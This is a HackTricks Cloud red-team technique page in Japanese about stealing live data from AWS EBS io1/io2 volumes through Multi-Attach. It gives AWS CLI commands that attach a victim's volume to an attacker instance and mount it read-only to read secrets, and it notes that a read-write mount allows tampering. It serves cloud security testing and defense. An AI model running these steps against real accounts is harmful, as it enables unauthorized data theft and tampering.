AWS - Live Data Theft via EBS Multi-Attach
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
同じ Availability Zone (AZ) 内の攻撃者が制御するインスタンスに同じボリュームをアタッチして、EBS Multi-Attach を悪用しライブの io1/io2 データボリュームを読み取ります。共有ボリュームを読み取り専用でマウントすると、スナップショットを作成せずに使用中のファイルへ即時にアクセスできます。
要件
- 対象ボリューム: 攻撃者インスタンスと同じ Availability Zone (AZ) にあり、
--multi-attach-enabledで作成された io1 または io2。 - 権限: 対象ボリューム/インスタンスに対する
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstances。 - インフラ: Multi-Attach をサポートする Nitro ベースのインスタンスタイプ(C5/M5/R5 ファミリー等)。
注意事項
- 破損リスクを下げ、ジャーナルのリプレイを避けるため、
-o ro,noloadで読み取り専用マウントすること。 - Nitro インスタンスでは、EBS の NVMe デバイスが安定した
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...パスを公開します(以下に補助あり)。
Multi-Attach io2 ボリュームを準備してターゲットにアタッチする
例(us-east-1a に作成しターゲットにアタッチ):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
被害者上で、新しいボリュームをフォーマット/マウントし、機密データを書き込む(例示):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
同じ volume を attacker instance にアタッチ
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
attacker上で読み取り専用にマウントしてデータを読む
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
期待される結果: 同じ VOL_ID に複数の Attachments(被害者と攻撃者)が表示され、攻撃者は snapshot を作成せずに被害者が書き込んだファイルを読み取ることができる.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
ヘルパー: Volume ID で NVMe device path を見つける
Nitro instances では、volume id を埋め込んだ安定した by-id path を使用してください(vol の後のダッシュを削除):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
影響
- スナップショットを生成せずに、対象の EBS ボリューム上のライブデータに即時読み取りアクセスが可能になる。
- 読み書きでマウントされている場合、攻撃者は被害者のファイルシステムを改ざんできる(破損のリスク)。
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

